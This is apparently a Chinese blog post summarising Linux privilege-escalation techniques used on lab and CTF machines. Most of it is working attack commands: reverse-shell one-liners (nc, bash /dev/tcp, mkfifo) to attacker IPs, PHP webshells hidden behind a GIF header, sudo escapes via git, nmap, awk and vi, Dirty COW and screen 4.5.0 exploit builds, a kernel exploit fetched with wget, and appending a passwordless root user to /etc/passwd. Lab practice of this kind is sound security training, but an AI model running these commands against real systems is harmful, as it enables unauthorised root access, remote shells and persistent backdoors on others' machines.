靶场提权总结

in.security 提权靶场通关手册上篇 https://blog.csdn.net/weixin_47767605/article/details/106183044?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.channel_param&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.channel_param

 

https://gtfobins.github.io/

简谈SUID提权 https://www.freebuf.com/articles/web/272617.html

 

目录

1 find root权限提权

2 exim4 提权

3脏牛提权

4nc 反弹

web反弹

5、git -p --help

6 nmap 提权

7 ubuntu 内核4.4.x提权

8 teehee

9 screen-4.5.0

10 access.log 注入

11 vi 提权

12 morpheus提权

13 awk提权

14 man less more 提权



 

1 find root权限提权

find / -perm -u=s -type f 2>/dev/null

 

find / -user root -perm -4000 -print 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

 

 

查看find权限

find /var/www/index.php -exec whoami \;

find / -name "flag.txt" -exec cat  {} \;

返回为“root”

设置nc 反弹shell

find /var/www/index.php -exec nc -lvp 9999 -e /bin/sh \;

2 exim4 提权

find / -perm -u=s -type f 2>/dev/null

找到root权限的文件

查看版本号 /usr/bin/exim4 --version

searchsploit exim

查看文件类型,用vim打开在末行命令中输入:set ff

若为其他类型,设置:set ff=unix

python -m SimpleHTTPServer 8000 开启临时web

靶机中下载,修改权限。执行例如shell.sh -m netcat

3脏牛提权

Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复

 https://github.com/FireFart/dirtycow

编译执行

 gcc -pthread dirty.c -o dirty -lcrypt
***gif上传法
Content-Disposition: form-data; name="fileToUpload"; filename="shell.gif"

Content-Type: image/gif

 

GIF98<?php

// php-reverse-shell - A Reverse Shell implementation in PHP

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

上述红色位置,GIF98 加在文件头位置。

4nc 反弹

 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 1234 >/tmp/f;

bash -i >& /dev/tcp/192.168.190.178/8888 0>&1

nc -e /bin/sh 192.168.190.178 4444

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0<&1
bash -i>& /dev/tcp/10.100.40.5/2333 0<&1

这两个几乎是一样的唯一的区别是0>&10<&1,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。

(2) 方法二

bash -i >& /dev/tcp/10.100.40.5/2333 <&2
bash -i >& /dev/tcp/10.100.40.5/2333 0<&2

(3) 方法三

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

 

web反弹

 

 

<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 1234 >/tmp/f;");

?> 

 

<?php
system("nc -e /bin/sh 192.168.190.178 4444");

?> 

system("bash -c 'bash -i >& /dev/tcp/192.168.1.105/7777 0>&1'")

kali自带webshell

/usr/share/webshells/
 

python 开启shell终端

python -c 'import pty;pty.spawn("/bin/bash")'

 

bash -c "bash -i > /dev/tcp/ip_address/port"

5、git -p --help

sudo git -p --help进入交互模式

输入“!whoami”

使用“!passwd root”修改root密码

#####

BASH_CMDS[a]=/bin/sh ; a  #调用/bin/sh命令解释器
/bin/bash   #使用bash命令解释器
export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin  #设置环境变量

######

还可以使用

git help -a 

git help -g

git help -c 

如果没有选项,也没有 COMMAND 或 GUIDE ,git命令的概要和最常用的 Git 命令列表将打印在标准输出中。

如果选项--all-a给定,所有可用的命令都打印在标准输出上。

如果选项--guide或者-g给出,有用的 Git 指南列表也会打印在标准输出中。

如果给出命令或指南,则提供该命令或指南的手册页。该man程序默认用于此目的,但这可以被其他选项或配置变量覆盖。

注意,git --help ...是相同的git help ...,因为前者在内部转换成后者。

git help -a ==> git --help -a

 

6 nmap 提权

 

sudo -l


百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件

echo 'os.execute("/bin/sh")' > getShell
sudo  nmap  --script=getShell
cd /root
cat theflag.txt

nmap --interactive,进入交互模式。然后再用命令:!sh,进行成功提权!

 

7 ubuntu 内核4.4.x提权

查看39772.txt文件,下载攻击代码

Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

 

解压  开启服务器(python -m SimpleHTTPServer 8000) 下载exploit.tar 放在可写目录tmp下

修改权限

搜索关键词即可得到提权脚本,我们使用39772.txt这个是经过认证的,效果更好。
找到提供的镜像,wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip下载到/tmp路径,unzip 39772.zip进行解压,tar -xvf exploit.tar进行解压,接下来根据39772.txt里的usage进行逐步操作即可。

在这里插入图片描述

得到root权限,最终得到flag,并且可以创建root用户,以登录虚拟机,后面的操作就不再赘述。

 

8 teehee

使用sudo命令查看charles用户可以哪些具有root权限的命令,发现可以使用teehee命令

sudo -l

teehee命令可以写入文件内容并不覆盖文件原有内容

使用teehee命令将一个无密码用户admin写入到/etc/passwd文件,并加入到root组中

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

切换到admin用户登录,进入到/root目录下,找到flag.txt文件

 
  1. su admin

  2. id

  3. cd /root

  4. cat flag.txt

9 screen-4.5.0

使用find命令,查找具有suid权限的命令,发现screen-4.5.0

find / -perm /4000 2>dev/null

查找可用于screen 4.5.0的漏洞脚本文件

searchsploit screen 4.5.0

 
  1. cp /usr/share/exploitdb/exploits/linux/local/41154.sh  41154.sh

  2.  
  3. cp /usr/share/exploitdb/exploits/linux/local/41152.txt  41152.txt

将41154.sh中上面一部分c语言代码另存为libhax.c

编译libhax.c文件

gcc -fPIC -shared -ldl -o libhax.so  libhax.c

将41154.sh中下面一部分c语言代码另存为rootshell.c

编译rootshell.c文件

gcc -o rootshell rootshell.c

将41154.sh中剩下部分代码另存为dc5.sh脚本文件

并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错

使用蚁剑将libhax.so 、rootshell 、dc5.sh三个文件上传到服务器的/tmp目录下

为dc5.sh增加可执行权限,执行dc5.sh文件,成功获取到root权限

 
  1. www-data@dc-5:/tmp$ chmod +x dc5.sh

  2.  
  3. www-data@dc-5:/tmp$ ./dc5.sh

获取root权限后,进入root目录下,成功获取thisistheflag.txt文件

10 access.log 注入

参见https://blog.csdn.net/devil8123665/article/details/107734916

 

11 vi 提权

ssh连接到靶机后,发现是受限制的shell rbash,只有vi命令可以使用
在这里插入图片描述
使用vi命令打开编辑器,在末行模式下输入:!/bin/bash
在这里插入图片描述
可以从rbash下突破到bash下
在这里插入图片描述
但是一些命令还是无法使用,原因是没有设置环境变量
在这里插入图片描述
设置$PATH:export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
在这里插入图片描述
使用 sudo su root ,尝试输入guest密码k1ll0r7n,能够成功切换到root用户
cd /root 进入root用户家目录下,得到flag.txt
在这里插入图片描述
成功拿到root权限,提权成功!

 

12 morpheus提权

查看具有suid权限的命令,发现morpheus具体suid权限,可以借此提权

find / -perm -u=s -type f 2>/dev/null
  • 1

在这里插入图片描述
使用以下命令提到root权限,并找到隐藏的flag

morpheus 'BEGIN {system("/bin/sh")}'
  • 1

在这里插入图片描述

13 awk提权

 awk awk 'BEGIN {system("/bin/sh")}'

14 man less more 提权

!/bin/bash


 

  • 4
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值